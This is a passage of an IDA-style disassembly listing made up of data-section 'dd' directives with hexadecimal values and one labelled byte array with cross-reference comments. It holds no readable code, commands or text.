		dd 7283B84Dh, 27150173h, 0E728C58Ah, 113472DCh,	0B84C0E9Ch
		dd 49CD7960h, 0B800A270h, 0CE73ED62h, 0B72034h,	0EA12F56h
		dd 7B3A5114h, 0E4495A29h, 34848826h, 4CA2ACF3h,	9603954Ch
		dd 1A0D925Eh, 97754EB0h, 5809FB07h, 0F4E0C11Eh,	190FE15Dh
		dd 81692023h, 2915FCC8h, 0B057CE03h, 3B6525E8h,	540FA9CAh
		dd 0DE62E5ADh, 0F464F517h, 2E19CB00h, 0D99B492Ch, 9FE90422h
		dd 0B815A1E0h, 3E5D016Bh, 698659EFh, 12DFB830h,	942EDD3h
		dd 0EC022932h, 84A014B8h, 0FA15DEE3h, 56EF4D0Ch, 0FA45E13Ah
		dd 8E8C00A0h, 6794B918h, 5537AD23h, 37852188h, 0A23C8Ch
		dd 0B98D3668h, 9D312010h, 0CB0099E4h, 5CA0E79Bh, 12EDA6FAh
		dd 3069CF59h, 0E36344D0h, 8D95A800h, 0BC54B789h, 4C13BB9h
		dd 10E820CFh
		dd 38008CE9h, 0B768D8Eh, 4A8B76Eh, 0CC0DA6ADh, 14E21Dh
		dd 5C2610E1h, 0A078A02Ch, 0AB18F4h, 3DEE9EB6h, 5411C148h
		dd 0A7613E27h, 3E48D9FCh, 2155392h, 0D8F63CE5h,	0F2BF0C82h
		dd 205ABE80h, 0B213AC2Eh, 820D4FCBh, 0AC23C96Ch, 7423C500h
		dd 7ED5C3A3h, 46163Ah, 276BC188h, 25A75C9Bh, 488FDFD3h
		dd 23506179h, 0FC3016A4h, 0A3F59820h, 669101AEh, 0EE948D47h
		dd 8833F8h, 0E2215582h,	0A7D936h, 84CC907Ch, 0A0C4D542h
		dd 4959DA0Ah, 102E5055h, 9A930780h, 14BE46h, 59E3FED5h
		dd 30ED2158h, 0DA00BD78h, 1BA9BA2Ch, 537A91h, 0C75EB6Bh
		dd 0B6573B70h, 0DD0F7270h, 2432Ah, 507BAA12h, 750738B9h
		dd 0F3EBB9Fh, 0EE60E5EAh, 0F16FD8FDh, 0A8E98409h, 14F61Dh
		dd 1353780Ch, 0A60DF76h, 8A0B5730h, 8F3401EDh, 0E2A75D51h
		dd 0F3B0E332h, 0BD09DC23h, 0CCDE057h, 20317Fh, 4D4395D8h
		dd 7947B969h, 0F10CD31Eh, 41D65440h, 51CD9CF0h,	0C4F85CBDh
		dd 0A05661ECh, 0BEC640F3h, 74BF3849h, 4ECF18C1h, 800729C2h
		dd 133A0642h, 0C0B99204h, 25460F8Ch, 9D0049F2h,	0CBF13D90h
		dd 7A89F60h, 20B912C3h,	0DC936305h, 80C83CE9h, 1FE3DB69h
		dd 6A26B277h, 0FF41E8h,	90DFB31Ah, 1700CECBh, 0DE1FC395h
		dd 1907FC19h, 0F4B671A4h, 0D1AC50C0h, 410062A0h, 3B041477h
		dd 0C00EC3FFh, 744CE599h, 2200FD42h, 9CAC06CCh,	1E9E8A67h
		dd 46FA0F21h, 9139C002h, 2C35BB02h, 8413A0C1h, 0A420EE6Ch
		dd 0C70E6522h, 42833473h, 0C187FCF8h, 41840EF4h, 8077C2C6h
		dd 329238C5h, 0B7034FEEh, 7E3F442h, 57B100DEh, 0B30EBEB1h
		dd 0FA08EE5Dh, 800BC276h, 2C0C64B5h, 0F314E274h, 11B44008h
		dd 0BD003DA3h, 38C23EAFh, 0DB007798h, 0DA501DD4h, 18C0338Ch
		dd 0B1FF8B0Ch, 3A003D0Ah, 0C5A7D481h, 0A4DF9842h, 32F500F0h
		dd 46C9BEFCh, 0BA63D9F2h, 0F083B619h, 0C10CC256h, 68CA4D71h
		dd 74BDC8A6h, 2C7FC306h, 3108DFh, 15F91F1Ch, 0F7739FA2h
		dd 7A472F01h, 0E42B1BCEh, 4E99BA80h, 0ED2CB03Dh, 344899C0h
		dd 0B29DE5Eh, 37DBE0F5h, 1A7C10Ah, 730E138Ch, 779450B8h
		dd 4492F9C2h, 6486F000h, 0E770DD7Ch, 211C3D6Ch,	71397D00h
		dd 11280A2Bh, 75B5E107h, 0F743C153h, 0FA46A11Fh, 0F125418Ch
		dd 16013181h, 0F56C66ECh, 8FF4EA3Ah, 0E0DA0029h, 22098571h
		dd 0C8A4A2C1h, 56790714h, 8DA0848h, 52E82A82h, 0DC16CCC3h
		dd 83151F7Fh, 6C25A51h,	0C62E1907h, 76906C30h, 880DC33Dh
		dd 0B000CBA4h, 4843457Eh, 514153h, 0E32E6A9Ch, 81088438h
		dd 0DE69BE65h, 0CDE1DC20h, 4F1B12E5h, 4711844Bh, 8546BFDCh
		dd 0B6080064h, 0C4DEC0DAh, 86B188h, 9732E147h, 15A079D7h
		dd 5FD82200h, 3999983Ch, 14D148A3h, 1CDE6840h, 95FF2920h
		dd 0A10180F9h, 97F2E5A5h, 212ADC8Bh, 0E4123D00h, 8D10D79Ah
		dd 19B8A170h, 21424182h, 7880C285h, 3B6F94CFh, 3492F00h
		dd 56A2B3FDh, 0E7FEEC3h, 1FD8CBE1h, 24811049h, 343F9BCAh
		dd 73EFDA4h, 182C32D6h,	88C22497h, 210F6EF0h, 2750F19Fh
		dd 43908112h, 0A8079B2h, 267C27D0h, 65AB40FCh, 8400F7C8h
		dd 0B37B05Bh, 7FDFE7h, 0C6BCC2CFh, 0EC04D80h, 0C7777615h
		dd 910C0CF8h, 56F41F6h,	0B089DC05h, 1F53C03Ch, 761C318h
		dd 4C370A89h, 1FE486F0h, 0C11A393Bh, 0FB117764h, 0F22ED4D6h
		dd 0B0990FE8h, 59FAC00Ch, 0DCD452F3h, 0FDBEE500h, 76083BC6h
		dd 0C089C361h, 0CC48058Eh, 1EF8047Fh, 0D8B01B65h, 550221D4h
		dd 9CEF9639h, 0C75C41C5h, 0C444016h, 79FB6025h,	0B412955h
		dd 7B008290h, 0D0E77FE3h, 0C888814Fh, 2747F5A0h, 900BE155h
		dd 26500259h, 23DE02B9h, 0AF0778C8h, 7ACBE3Eh, 3C29F9FBh
		dd 47C11610h, 1E49D2C2h, 0D27622D8h, 404E680Fh,	53700B1h
		dd 0A15570h, 1F865879h,	9A3C3A7Ah, 0AA0CF50Fh, 2238D97Dh
		dd 612C3820h, 0FD6199EFh, 0C43BC0A5h, 8200E67Fh, 15C3DB40h
		dd 0FEBDB6E8h, 7E40C865h, 84A07A40h, 39C13726h,	70D8C6B9h
		dd 221988A1h, 0C5037DB8h, 0C1CEDF6Eh, 3736E9DDh, 8505896h
		dd 587FF98h, 0FDC3DA76h, 2C68118Dh, 0CBDB0357h,	106DB28Ch
		dd 224B4220h, 0C519333Ch, 8F80469h, 0BE0114ACh,	0EC9DE1BCh
		dd 0F2D85B2Eh, 63960138h, 12821356h, 0AD08206Fh, 144FBA40h
		dd 0B098F53Bh, 57010E08h, 0A5175491h, 895E0EEFh, 7F28C760h
		dd 590C6B55h, 0F94138C1h, 771E0FCDh, 0D4023B7Bh, 5C60689Bh
		dd 0F8912CB6h, 0C1E24E00h, 734AE0BFh, 3D9A0066h, 0F9813B1Eh
		dd 9B483C13h, 18C419FCh, 42135288h, 0AB1447E5h,	99C2460Eh
		dd 7422DE24h, 0ACB500BFh, 39E44AEh, 0E32F05EFh,	49F340F1h
		dd 0DC90C3CCh, 0F900F8B8h, 7450CB19h, 1F14AEh, 0A0081DB0h
		dd 0C062D1D4h, 14B43B3Ch, 2234BB78h, 0DA4F000Bh, 67F47D6h
		dd 0C700739Ah, 696F2B4Eh, 0FEC00305h, 264DFCDDh, 1830833Ah
		dd 35B68141h, 8CC12109h, 17BC1011h, 6061C0BDh, 0DCC9890Ch
		dd 0F250DD00h, 1FFDA9B1h, 5DB797Bh, 8A76AC2h, 0DE1C9873h
		dd 0C4440115h, 0D81204B4h, 0A088D5F1h, 34854C0Ch, 12772282h
		dd 0C264E8C0h, 3F3099h,	1E2F313Bh, 3DE771h, 6B2DECC6h
		dd 0BF76A6F7h, 647BAA03h, 0E57507BAh, 46C01891h, 19006C72h
		dd 1CEA8E6Eh, 1C985A50h, 0B03E6CB1h, 9351A94Bh,	0ECFD3185h
		dd 734E6DC8h, 8A7101A4h, 760179CDh, 7F63EEC4h, 7ABD0096h
		dd 0DEB122C0h, 3FF27830h, 37BD888h, 0D08DBCC8h,	0E7EA0C70h
		dd 80881A24h, 0DB7901DEh, 3FD42B4Ah, 4596FC3Dh,	8D005B7Ch
		dd 78A1187Ah, 177241Eh,	2160C1A0h, 72193D6Ch, 0B20302FCh
		dd 0C037B9A4h, 50F2AC0h, 0C120F380h, 487C143Ah,	0AEA78F06h
		dd 0C410881Fh, 0A1658ECh, 34243076h, 0B601A87Ah, 0D3586A8Dh
		dd 6CF83CD6h, 0ADF50085h, 3D9847A1h, 0DE4CC152h, 31361AB0h
		dd 8030C568h, 0E0048F94h, 19020518h, 2720615Bh,	0D849634Bh
		dd 91D66DEBh, 4022B8h, 1AAA8D63h, 0FCEAD1FFh, 97EE6B00h
		dd 0B18129F3h, 50F716D2h, 802020DFh, 0E800FC04h, 0D603A3D0h
		dd 4869782Bh, 7308842Ch, 0EA01C72Dh, 336A79A0h,	23539C52h
		dd 0E2F8EF6Fh, 860031E4h, 34BCA990h, 30385B7Dh,	0E63169C1h
		dd 70A0A0BFh, 910F9ADEh, 9B188DC6h, 0B364D849h,	7E9703EAh
		dd 0DE28255Dh, 0CA97788h, 2C21BD4Bh, 8808C5CAh,	3D050584h
		dd 88191385h, 0A50FF00Ch, 0E4BE18h, 35259977h, 1CF6016Eh
		dd 0DF3145DAh, 0BF982421h, 0B1068509h, 0B4D90174h, 0AC59CD01h
		dd 89EFDC30h, 8C3219h, 0B4CF823Dh, 74024F5h, 0D5F8D421h
		dd 0F320C089h, 58B96E07h, 8F7F6080h, 83F940h, 0D1163E17h
		dd 99CEC7F2h, 89F6DE00h, 30BFC021h, 18F55C10h, 0FBA65380h
		dd 0DD008011h, 0E10105C8h, 0D0140AB9h, 6E3DA4B9h, 10513B01h
		dd 48F2C277h, 93A80B0h,	0D3F10884h, 2C802CBAh, 85014ECh
		dd 0C8C229h, 38165445h,	0A307EF24h, 0EA3DDA11h,	0AD1A8069h
		dd 498C798Eh, 0A810097h, 0CE9039CBh, 20FAF4E0h,	8CE58805h
		dd 3CC08308h, 643E9Dh, 753D07E1h, 0DAEE6DE3h, 0EC40264Bh
		dd 7D25A661h, 169A00FDh, 0A546A26Bh, 38058842h,	0C83986A1h
		dd 0DA8C081h, 1E807428h, 0EC618A87h, 0D300E473h, 51D51F77h
		dd 39721A07h, 501EDE75h, 7F2E3BB8h, 0E2454458h,	0C0938E2Ch
		dd 9F442DB0h, 0B1370E1Eh, 24E04731h, 7780A591h,	0EEED380Ah
		dd 0C042F8FAh, 1A80668Dh
		dd 10BC1310h, 79009859h, 30D59115h
		db 9Fh
byte_530055	db 7, 0EAh, 3		; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		dd 333BA4Bh, 0A9B8A8DDh, 5C004E22h, 0F73B38B8h,	41ED8EBFh
		dd 57B060F6h, 4CDB6388h, 0CE807026h, 9259B584h,	2B9E2300h
		dd 0DEBE637Eh, 5E3B0453h, 0C24DF9B3h, 9C20F388h, 6379B5D7h
		dd 8C2C292h, 5818C7E5h,	0A140C644h, 83D92E88h, 62E3CC00h
		dd 0E4609EFBh, 10A032Ch, 130408F6h, 7C6019F2h, 84A4D7D0h
		dd 40C64638h, 90815207h, 3710214Ah, 0C0BDE1D4h,	162CE54Fh
		dd 0D318C8DCh, 30DB5729h, 2BA01FDEh, 0B61376FCh, 0A00AA773h
		dd 78082CD0h, 657792C9h, 4AC8CF4h, 5B037E72h, 2CC04E1Bh
		dd 4BDEA869h, 0C31CA151h, 0F0007429h, 1BD730C2h, 0C615FFFAh
		dd 98FB2Ch, 82B29BF5h, 29B0650Fh, 0BC47B08h, 4884DA4Eh
		dd 7F60E24Bh, 3A00EB78h, 0ADD72EF2h, 0A45E1060h, 1438518Ch
		dd 7907020h, 4DBE7BCCh,	77C09F4Fh, 0D2FD36C8h, 904B714Bh
		dd 0FC3001DEh, 9C62104Fh, 67FBBA02h, 98419869h,	161F11F9h
		dd 1EA36DE0h, 16CD9EFDh, 0DF820DFh, 2B1E9CD8h, 42009266h
		dd 0C1473FA1h, 0DE0B443Bh, 8BF57F00h, 0DAB404E9h, 8F2002DCh
		dd 77D561C5h, 2A003071h, 87E6AAD3h, 0DA8E0879h,	0BE050166h
		dd 68C9D9F1h, 74803038h, 7B2C1511h, 0F3BEDE00h,	54B04EAh
		dd 98760B42h, 0DC0D07C6h, 41ECB0D9h, 7F6631CDh,	171101FBh
		dd 0D2560403h, 8E1C3854h, 3A78C036h, 151E02Ch, 3F21147Dh
		dd 41220B85h, 85983C98h, 0D9F30710h, 8DB2C01h, 18264DC3h
		dd 0D1DF2109h, 0E4185442h, 0C7001A30h, 4D8ED96Eh, 7F09ECA6h
		dd 5E8C4AEEh, 5B304C8h,	0FBACB429h, 885E0400h, 306D373Fh
		dd 0F92C98A9h, 0F1123513h, 8088F642h, 17C510BFh, 0E6020059h
		dd 9FF531F2h, 70750037h, 9AE32419h, 0E1265D3Dh,	0D8242A77h
		dd 0E0F92700h, 5086027Fh, 0A131F48Ch, 0A0103F60h, 6F09BDE7h
		dd 0E8DEC3C7h, 0F440F6A0h, 0C107000Bh, 0EC67EFA9h, 1D00D012h
		dd 50994528h, 11A3E597h, 0E829FBh, 0B6F244B9h, 0E6F845h
		dd 0E14DC896h, 0C66B64ABh, 2E52CF5Ch, 25442C46h, 0F5BCF4h
		dd 865FFC95h, 0B65A2F1Dh, 0A2127B78h, 38031A6Eh, 48FA3E2Ah
		dd 0E40448E0h, 910376A9h, 3DC124h, 27BC2A12h, 909147C0h
		dd 0FEC41878h, 44889855h, 487C61F4h, 0EAE82700h, 58FA061Eh
		dd 69BF091Bh, 48685077h, 149618DEh, 86066580h, 222DD3h
		dd 34AD6393h, 3290C9E6h, 4DCB1301h, 0EBEDDEDDh,	0C0E29430h
		dd 723C0569h, 0A014A30Bh, 4025C5h, 0E49A0EA8h, 0BDE842CAh
		dd 100A650h, 3B5205DAh,	134EF864h, 881083B8h, 1D39A750h
		dd 96BD72h, 0F20946C5h,	18A90BE2h, 29BC1054h, 0A3008231h
		dd 81ADBA2Eh, 0F315D1h,	0AFD41D32h, 469C6A2h, 84955524h
		dd 293A7A40h, 0E56C0119h, 0DAACA879h, 102C2036h, 0BB44CC98h
		dd 83B29C0h, 7EF11E0h, 1CFBA25Ah, 0FFF6F340h, 0C2791899h
		dd 0E7A72940h, 74D70603h, 11BC2D10h, 51128C49h,	80343854h
		dd 1CE51FCh, 0A4DD480Fh, 0A1BEDB03h, 94D9E752h,	38D9DAC1h
		dd 88091500h, 1977363Bh, 99013826h, 90510E5h, 0F57CD6h
		dd 0ED2C1E50h, 0A76E87D3h, 0C7256F00h, 0FF8FFC69h, 0E89A484Dh
		dd 7D0673C2h, 0BC14460h, 0A642002h, 42AABFEEh, 0DF584620h
		dd 61CE004Ch, 8C210D2Bh, 0A83DF828h, 23442490h,	33BE4B0Ch
		dd 0ED82A2A0h, 87E42C69h, 0E3BF319h, 0EE2CB849h, 0A6C07C8h
		dd 40AC59F5h, 3BC708D2h, 88A4BC96h, 0C0115A11h,	0DD057C8Eh
		dd 0BE0DFD03h, 0FF306Ch, 7E6791ABh, 0A1CDD9D1h,	104EB525h
		dd 1F8B2AFCh, 0C7EC4C80h, 0FFAD7C53h, 0A0E5A300h, 60B4D689h
		dd 0CA5E4A40h, 81E264h,	0D8532510h, 349F73E8h, 6DB1850Bh
		dd 0B7C080F4h, 9E412F0h, 0DDBF8C75h, 2E336898h,	867A6F00h
		dd 781F928Bh, 10C04C0Ch, 74198Ah, 5CC13834h, 2655FD57h
		dd 0D720F0F8h, 170086F6h, 0C19C5A8h, 2579A0E9h,	0CCB23385h
		dd 47AE2D80h, 39097BE8h, 9862A3F7h, 1DA09760h, 0C05D4D9Fh
		dd 0B52E42FDh, 0C0007CBh, 4E1602D7h, 9437CD5h, 2AC4CAF3h
		dd 0F44690CAh, 5898D37Ch, 0D05DA8A0h, 0C3B17200h, 38DACCA5h
		dd 0C54128Ch, 221C9186h, 7402DE0h, 52259AE9h, 77296BA0h
		dd 0F8B03DBCh, 63E0CBAEh, 4FC08D94h, 0F30175B5h, 5FC0D178h
		dd 4CD80490h, 0AA3704B6h, 2F945C3h, 0D4C12FDEh,	0FB8D0F72h
		dd 0DA4AE500h, 0BCB8C20Ch, 2836D244h, 42B8596Eh, 0C522E8h
		dd 829570AFh, 0D3B576F0h, 159FE707h, 0F620090Fh, 1244199Dh
		dd 921A1063h, 0A7270A60h, 0C071F3B0h, 8A9051h, 76DDCE04h
		dd 724C75C1h, 4E4925Ch,	7A136427h, 86A0648Ch, 17997513h
		dd 0BD184206h, 8FC71120h, 77071713h, 8000448Ah,	387043F9h
		dd 64003386h, 0FE7FDDDBh, 2C1FB6E6h, 12F43651h,	0C0FCC840h
		dd 0FE74E0A4h, 88364Ch,	0BF6A58D8h, 502BA0EAh, 50F6C834h
		dd 0F95417h, 9A748DBh, 0BEF22657h, 20009CAEh, 2E1DE74Dh
		dd 78445Ch, 0C0DB9F9Eh,	86B6912Bh, 0EDEA31ECh, 22149658h
		dd 20F34BE7h, 0AC2C13B0h, 8A9210B6h, 44203416h,	2A07A23h
		dd 873D9830h, 0A0721037h, 315DB000h, 0FEF2E0F4h, 9CA600BEh
		dd 0D2573D65h, 0D470F340h, 8BF94464h, 0F2378660h, 0D4203D5Eh
		dd 0A04C81AAh, 88B876B4h, 7839E577h, 4D3B0F93h,	0C9380F65h
		dd 0EB0C61ECh, 84DC2841h, 91118032h, 8E0A0CFFh,	0EDB61BCh
		dd 0CA76E371h, 52771FA2h, 70C8EC64h, 0C4E36EC0h, 2877D593h
		dd 0A0B129E0h, 6328700h, 0AD0F8Ah, 0B87FEA48h, 0DF292702h
		dd 8137C432h, 0CB051092h, 0F5133C02h, 728E47BFh, 3DF11870h
		dd 0BA5399C7h, 2C0C397Bh, 30D59837h, 46BF10FCh,	0A307809Eh
		dd 0EE453F6Bh, 20FE24DAh, 46330FF8h, 0F110C876h, 85688F00h
		dd 0FB121860h, 5A290044h, 0A1132C24h, 640B407Dh, 758F726h
		dd 0F500A00Ch, 3603A76h, 0C2B0D745h, 0D8E07503h, 0CCB9DDECh
		dd 68CC9800h, 447A78h, 0BC533CC0h, 7B601296h, 14CE902h
		dd 72DDEB2Fh, 87A00024h, 0C983A70Bh, 7C005C42h,	0BDCE8BE5h
		dd 3F149FD3h, 220ADCA9h, 0A094D7C3h, 0F98F0388h, 0B0BABEE0h
		dd 0C8196DC0h, 447C072Eh, 78D0534Fh, 0E01C9E0h,	3D892D5Ch
		dd 6E0046AEh, 6D070F71h, 0C243449Ch, 386148F2h,	60515069h
		dd 3A226D00h, 8D5115h, 297A38DEh, 5421875Fh, 0C0FE13B8h
		dd 0B6A90C1Bh, 1083C551h, 48118686h, 0CF83CC1Ah, 2AC06AD0h
		dd 2C90D823h, 7FE3C900h, 75B85209h, 6F0C00E4h, 0D0A076A8h
		dd 499DDF4h, 7080EA1Dh,	4F0777BAh, 350B057Bh, 0F21789F6h
		dd 0BCB00B4Ch, 370F82B3h, 76CC83A1h, 8651B053h,	4F489E1Fh
		dd 3BD4C100h, 0ED7D5206h, 93D9F503h, 0D8193938h, 94EE4DDEh
		dd 58EF6044h, 7F009C2Ah, 6BAAE393h, 0FF8D5Dh, 56FD7826h
		dd 8C280B5Ah, 0DA76B102h, 604B0DC4h, 82585C5Ch,	934E5840h
		dd 0AC40185Fh, 7953363Ah, 0E9CD001Ah, 166C7159h, 1B00ABF2h
		dd 0DD85E884h, 2DDB1EDEh, 14A4D1C2h, 0AA1840E7h, 83C40Ch
		dd 1262442Fh, 52494BA3h, 0D8D7B504h, 58928C46h,	0E950484Eh
		dd 90F4F880h, 20622ACh,	50772001h, 74A35AB2h, 60D010BBh
		dd 702A00B6h, 0FAEC0B37h, 0DC9438BFh, 81717544h, 21C43CC8h
		dd 22381DBFh, 64031976h, 3CFD5680h, 0C001E0E0h,	42A8968Fh
		dd 3C6850C9h, 19C10CDDh, 0CD99706Fh, 0EFA6CECh,	95ABFD39h
		dd 0F4128A41h, 28628Dh,	33063C13h, 60A42CC0h, 0C1214863h
		dd 58A0448Dh, 0F5014EC3h, 1377987Bh, 1070F24Ch,	948B853Eh
		dd 3868B00Bh, 60B400BFh
		dd 3CD4D3Dh, 349E3AC7h,	39F0258Ch, 5975DBh, 474EB6DCh
		dd 0B03BF955h, 0B0740E24h, 7F384F40h, 9DC30FDh,	0CFEB9D79h
		dd 74670100h, 0B055FA32h, 8E9500F5h, 0F9BBFCA8h, 0DF482149h
		dd 72B78080h, 12DCC61Dh, 20E020E3h, 257B98F0h, 47F0600h
		dd 74D61DD2h, 11920129h, 0DA6F3CFCh, 10C4772Bh,	0E44912D2h
		dd 0C845129Dh, 10971FA8h, 5C643BD4h, 69001877h,	94614804h
		dd 0EB00B005h, 8A74C5FAh, 2D3CB4A4h, 10899A52h,	7A00BCE4h
		dd 8387468h, 0B436D2h, 1D755BE3h, 0EF58FA78h, 0C377B712h
		dd 0F85334D1h, 30BF20h,	0AD9631B6h, 7CE640B5h, 0B31D8C13h
		dd 4BC190C9h, 3808AEDCh, 1FAEEF51h, 22AC64FCh, 8B188F91h
		dd 7C8C64D2h, 0C3762E92h, 8D904054h, 5D00B9CFh,	3D25E666h
		dd 4D2865Ch, 7A442621h,	7085EA52h, 0B9D67C88h, 153D8854h
		dd 28C294h, 7B2CFD5Ah, 7DA4B5F9h, 2F8C0109h, 1B3E244Bh
		dd 504D3020h, 907E64BAh, 94A4F48h, 0A47408DBh, 24C00218h
		dd 96D7F1D3h, 4005440Ch, 9F0150DDh, 120477E6h, 0B2622B7Ah
		dd 0C3510B54h, 64780E63h, 28A2AA57h, 725F922h, 80EC2973h
		dd 3D9B2E6Ch, 6DE13E33h, 202BDB13h, 62D62A8h, 12376300h
		dd 0DF957BE6h, 90149AB3h, 75020DD4h, 0F059CEC2h, 0FF884B17h
		dd 4EE63B0Bh, 0D0FBEC14h, 0F1FA0402h, 68841740h, 27EA400Dh
		dd 618AB8h, 0A0EDDF47h,	0C5C74148h, 0AF18871Dh,	0AF541089h
		dd 64A36910h, 216E43B0h, 9ADE0045h, 9B6FA98Dh, 9431D700h
		dd 0EAA27735h, 44C611FCh, 436263Eh, 87049125h, 0B058BC18h
		dd 0C8204A20h, 2CBDF69h, 41F60604h, 44A96B8h, 0C485E404h
		dd 0F078C9C8h, 6000428Eh, 38DACF2Dh, 9746C14Ah,	5897A414h
		dd 7726021Ch, 0F781C391h, 6304F0C6h, 20DB9839h,	6D2230ACh
		dd 505C6EF2h, 0F1C960A0h, 7264081h, 7741A760h, 78948C2h
		dd 1898517Ah, 0BF2A310Dh, 0D0D46A2Fh, 39EE75h, 3D31217h
		dd 0C00B6E26h, 59404119h, 0A98937D0h, 5C92D7F3h, 13FA8C61h
		dd 0A3D3E00Eh, 8F320038h, 5516BEDDh, 193F01E1h,	8830CDC0h
		dd 0DC06CB46h, 472F183Fh, 500414E3h, 5AA38DEh, 9C11A383h
		dd 1EE7C015h, 160B9053h, 80252934h, 0D176559Bh,	0CAA8C20Fh
		dd 792743D2h, 0E3FF82CEh, 0B7849017h, 2697004Fh, 8C0BB284h
		dd 18004AA3h, 9DA6C47Ch, 4CB4BA53h, 3C28BC22h, 41265E24h
		dd 117276B8h, 0B6A7C86Dh, 40019BF8h, 5D30DB90h,	30A87BDAh
		dd 0F4105854h, 0B8AC3380h, 8B0065B6h, 6D55FCB2h, 9085FEBh
		dd 0A491214Fh, 0FC81AC44h, 0E8202FCAh, 1796097Ch, 37CE34DAh
		dd 0C82460E8h, 0AE003CC1h, 0DA370A46h, 92BE2B17h, 50444290h
		dd 400D784h, 0BF8FAB6Ch, 5FB76B94h, 0C2D00BDAh,	0A9AE1448h
		dd 32A45600h, 0BDE4B3CFh, 630B049Dh, 0A2D59827h, 48D822C8h
		dd 0AD800025h, 5EB2CD5Ch, 0BF529617h, 11C50408h, 0A17701E4h
		dd 0DBFE6E55h, 84D3E8CBh, 62F3723Fh, 0C30CD124h, 58B2BC4Ch
		dd 0C021BF5Fh, 0B9C11042h, 860C518Bh, 621280E6h, 0C8B3D6D9h
		dd 0A5FB4B07h, 0E8803968h, 0A865F88Ch, 0F482FA05h, 8CC5A13Bh
		dd 0D0F0348Dh, 0DECB0768h, 81F7D1D6h, 0C928C8D2h, 0DD308054h
		dd 0C2E90907h, 5284BEAAh, 173D64C1h, 4586DC3h, 3F853C19h
		dd 80C8FC22h, 0C8C91851h, 0B5D10061h, 5E95DD07h, 92F2FAFBh
		dd 75BD7801h, 0DC148E60h, 0A911B03Ch, 0E56F0BF6h, 274D003Ah
		dd 0EB211EC4h, 0C0198ADh, 2194A280h, 701803D8h,	21ECDAA8h
		dd 0FFB04C50h, 0ACB0988h, 0CAFE40C0h, 0BFF703ECh, 0C1091046h
		dd 7ADF3835h, 0A4820380h, 684014DCh, 0D8F5F698h, 5C28C400h
		dd 81044879h, 0BA3DE056h, 53EA2AE8h, 30BC0BE8h,	7C904AC0h
		dd 210772A8h, 28DEDB85h, 3326DA81h, 9043D472h, 71B36B03h
		dd 4EA83593h, 8F016626h, 0B0A80137h, 76E0D775h,	0B44C3D98h
		dd 8042024h, 7CA6F8C0h,	3D34F480h, 4A03E4ABh, 0B124C8FDh
		dd 80E74339h, 78B54C9Dh, 215405Ah, 0DEFA3BE1h, 14E08191h
		dd 50B0D0BFh, 92474CA6h, 60EC2724h, 63E71BF1h, 4396B100h
		dd 0C5528C81h, 0F43071C1h, 0F8745D4Eh, 84E47525h, 50126471h
		dd 0D8009CF2h, 3DD1125Bh, 0C33F00F8h, 1E2EF69Ah, 453861D7h
		dd 2B459B0h, 0F8EAA0DBh, 0EA5CCCBFh, 98104C0Bh,	0E3918A35h
		dd 20423050h, 4A7B070Ch, 715CDC1Ah, 51BD7701h, 748FAE7Fh
		dd 0FA8ED8D0h, 0E7192E30h, 2D9401FCh, 31FD045Fh, 0EA619258h
		dd 97EC4808h, 0D202019h, 140284C6h, 17B95DC9h, 0E0D874A6h
		dd 0A7AD6040h, 320A3B00h, 3C8034B2h, 21BA6464h,	94E9C2h
		dd 0D1F4F78Fh, 49FD3DDh, 7547213Dh, 0F338CC0Ah,	0BF1CD850h
		dd 23D8E457h, 0F8A691h,	5D65275h, 791D1925h, 0A940DAEFh
		dd 9337065Ch, 173D00E4h, 0DD3AFB34h, 0ED073555h, 0D179D80Ch
		dd 78A933F0h, 0C96500E3h, 0CADAAFB1h, 46797E6Eh, 34030D00h
		dd 9EB6165Bh, 37601ED1h, 0FD49C1E9h, 80CA0A4Ch,	94384E59h
		dd 0C396F58h, 28F2EDB4h, 20C14F74h, 0F3DE229Ah,	867E8h
		dd 69EB549Ch, 2A7E11D4h, 0C11E3AE6h, 25C0B4C9h,	7C5B9430h
		dd 5E8C3046h, 0C80B3F88h, 37680183h, 26BA16EAh,	0F20ACC93h
		dd 6E36501Fh, 71153C0Ch, 49E608h, 0B2433004h, 39BF20F4h
		dd 10BE621Dh, 71E71E40h, 1504498h, 0C7B23858h, 8E60205Bh
		dd 0E7971760h, 4CA0CA91h, 0E65FDF81h, 40B0B0h, 1AB9CDF9h
		dd 3D2C6F65h, 3430FC60h, 391DCE5Dh, 1985F7B8h, 40508D5Fh
		dd 14976E8Ch, 90A06FD5h, 19DD46E4h, 0BF49C6C0h,	9C4B32h
		dd 0B4379B8Dh, 3F58DDEEh, 0CF7E1917h, 5E00F5E8h, 0C01C5C89h
		dd 0E1C01039h, 0DE1523EFh, 0D88F3980h, 8587478Bh, 69ECD28Ch
		dd 1215C9C0h, 56FBEh, 4CF5BB38h, 0BC865110h, 0E2FF3600h
		dd 0C7DC9041h, 5B6000D9h, 107C9537h, 0A29CC68h,	0DA80ECD2h
		dd 84E463BDh, 0EA6F0301h, 19C90A98h, 46002177h,	0A6AEF54Fh
		dd 452CC5Ch, 0EBD30A33h, 0B6020432h, 60E40488h,	6AA95948h
		dd 0BF0082E1h, 93FAC99Fh, 1DCC8788h, 47167920h,	0A6641298h
		dd 0E548311Eh, 0B54F8000h, 6BD101h, 0FD3D447Fh,	201A04CBh
		dd 0D3F96260h, 0F4ECF54Ch, 543E1CF3h, 0F43CADh,	35226782h
		dd 0B1086CEh, 0B3ED2D0Ch, 1555812h, 4F07AE96h, 865BB802h
		dd 18CD0AB1h, 950F0079h, 0EEB9FD7Bh, 4D30D92Ch,	5F92F0C5h
		dd 9B4718FBh, 93D8178h,	0E82641C0h, 0B8078036h,	835E0006h
		dd 0BE8C9868h, 33546DE6h, 1F44DE90h, 0C0FFF85Bh, 0B2E15A19h
		dd 0AA3FEAD9h, 5D2018EBh, 0EC9FD861h, 5C91030Dh, 5B9210F4h
		dd 0AA271CFh, 32DC48C4h, 90FA9401h, 36816413h, 880BA448h
		dd 0A500A6A0h, 4A84B86Eh, 3EBE0E3h, 5303C43Ah, 0BEE060E6h
		dd 0AC90FE52h, 12221644h, 0CABB47h, 59C22634h, 0FE023B7Ah
		dd 0EA9DB580h, 0DACAE01Fh, 44F8A418h, 7A00443Fh, 0B23178FFh
		dd 0C2FC12h, 69E6CF4h, 6E105DA7h, 17F69603h, 1D369548h
		dd 30825FE9h, 1F20E141h, 1202FA7Ch, 7D8872Dh, 33344139h
		dd 28B327C6h, 184484A0h, 7AB82413h, 885F06AAh, 560A51CCh
		dd 307B5E58h, 767E5502h, 0AEC09807h, 0D8570037h, 0F545D23Ah
		dd 0BF885B20h, 0D6C400F7h, 0B53FE1Ch, 32F0B2F1h, 6F5B5F06h
